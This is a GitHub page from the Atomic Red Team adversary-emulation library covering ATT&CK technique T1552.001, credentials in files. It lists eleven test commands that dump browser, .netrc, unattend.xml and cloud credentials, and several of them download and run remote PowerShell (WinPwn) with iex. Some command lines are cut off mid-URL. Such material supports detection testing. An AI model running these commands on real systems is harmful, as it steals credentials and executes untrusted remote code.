Files
f339e7d
Go to file
.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036

T1552.001 - Credentials In Files

Description from ATT&CK

> Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
> It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
>
> In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

Atomic Tests

- Atomic Test #1 - Extract Browser and System credentials with LaZagne
- Atomic Test #2 - Extract passwords with grep
- Atomic Test #3 - Extracting passwords with findstr
- Atomic Test #4 - Access unattend.xml
- Atomic Test #5 - Find and Access Github Credentials
- Atomic Test #6 - WinPwn - sensitivefiles
- Atomic Test #7 - WinPwn - Snaffler
- Atomic Test #8 - WinPwn - powershellsensitive
- Atomic Test #9 - WinPwn - passhunt
- Atomic Test #10 - WinPwn - SessionGopher
- Atomic Test #11 - WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials

Atomic Test #1 - Extract Browser and System credentials with LaZagne

LaZagne Source

Supported Platforms: macOS

auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
python2 laZagne.py all
```

Atomic Test #2 - Extract passwords with grep

Extracting credentials from files

Supported Platforms: macOS, Linux

auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4

Inputs:

Name	Description	Type	Default Value
file_path	Path to search	String	/

Attack Commands: Run with `sh`!

```
grep -ri password #{file_path}
```

Atomic Test #3 - Extracting passwords with findstr

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Supported Platforms: Windows

auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513

Attack Commands: Run with `powershell`!

```
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
```

Atomic Test #4 - Access unattend.xml

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Supported Platforms: Windows

auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
```

Atomic Test #5 - Find and Access Github Credentials

This test looks for .netrc files (which stores github credentials in clear text)and dumps its contents if found.

Supported Platforms: macOS, Linux

auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803

Attack Commands: Run with `bash`!

```
for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $fil
```

Atomic Test #6 - WinPwn - sensitivefiles

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
sensitivefiles -noninteractive -consoleoutput
```

Atomic Test #7 - WinPwn - Snaffler

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Supported Platforms: Windows

auto_generated_guid: fdd0c913-714b-4c13-b40f-1824d6c015f2

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
Snaffler -noninteractive -consoleoutput
```

Atomic Test #8 - WinPwn - powershellsensitive

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Supported Platforms: Windows

auto_generated_guid: 75f66e03-37d3-4704-9520-3210efbe33ce

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
powershellsensitive -consoleoutput -noninteractive
```

Atomic Test #9 - WinPwn - passhunt

Search for Passwords on this system using passhunt via WinPwn

Supported Platforms: Windows

auto_generated_guid: 00e3e3c7-6c3c-455e-bd4b-461c7f0e7797

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
passhunt -local $true -noninteractive
```

Cleanup Commands:

```
rm -force .\passhunt.exe -ErrorAction Ignore
rm -force .\phunter* -ErrorAction Ignore
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
```

Atomic Test #10 - WinPwn - SessionGopher

Launches SessionGopher on this system via WinPwn

Supported Platforms: Windows

auto_generated_guid: c9dc9de3-f961-4284-bd2d-f959c9f9fda5

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
sessionGopher -noninteractive -consoleoutput
```

Atomic Test #11 - WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: aaa87b0e-5232-4649-ae5c-f1724a4b2798

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
SharpCloud -consoleoutput -noninteractive
```